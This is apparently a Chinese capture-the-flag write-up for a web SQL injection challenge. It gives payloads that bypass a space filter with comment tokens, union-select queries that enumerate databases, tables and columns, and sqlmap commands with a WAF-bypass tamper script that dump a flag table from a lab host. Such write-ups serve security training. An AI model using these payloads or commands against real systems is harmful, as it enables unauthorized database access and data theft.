CTF-Web18

18.简单的sql注入2

CTF-Web18

CTF-Web18



分析:

既然是SQL注入,那么我们就要构造注入语句了,这个就要有耐心一个一个去尝试了

输入语句

1'and 1=1 #

1'and/**/1=1/**/#后

对比一下,发现是过滤掉了空格,我们用/**/代替空格  

CTF-Web18  CTF-Web18注:baloteli是数据表)

下面就要构造找flag的语句了

查看有哪些数据库
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1

(个人认为使用这个语句更简洁点:1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata#

CTF-Web18

查看有哪些表,1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

CTF-Web18

查看有哪些列:1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/'1'='1,可知有flag列,

CTF-Web18

查看flag数据:1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1,如下图,flag为flag{[email protected]_5O_dAmn_90Od}

CTF-Web18


SQLMQL绕过注入:

1.输入

sqlmap -u http://ctf5.shiyanba.com/web/index 2.php?id=1 --tamper= space2comment --current-db
其中: 1.sqlmap :启动sqImap.2.-u :参数指目标的URL。3.--tamper :绕过WAF脚本。4.space2comment : tamper脚本之一用于绕
过过滤空格。5.--current-db
 列举当前数据库


2.输入sqlmap -u http://ctf5.shiyanba.com/web/index 2.php?id=1 --tamper= space2comment -D web1 --tables
其中: 1.-D :后面跟数据库的名字。2.--tables :列举库中的表格


3. sqlmap -u http://ctf5.shiyanba.com/web/index.2.php?id=1 --tamper= space2comment -D web1 -T flag --columns
其中: 1.-T :后面跟表格名字。2.--column列举表格中的列名


4.sqlmap -u http://ctf5.shiyanba.com/web/index.2.php?id=1 --tamper= space2comment -D web1 -T flag -C flag --dump
其中: 1.-C后面跟列的名字。2.--dump取出表单所有记录。
结果flag就出来了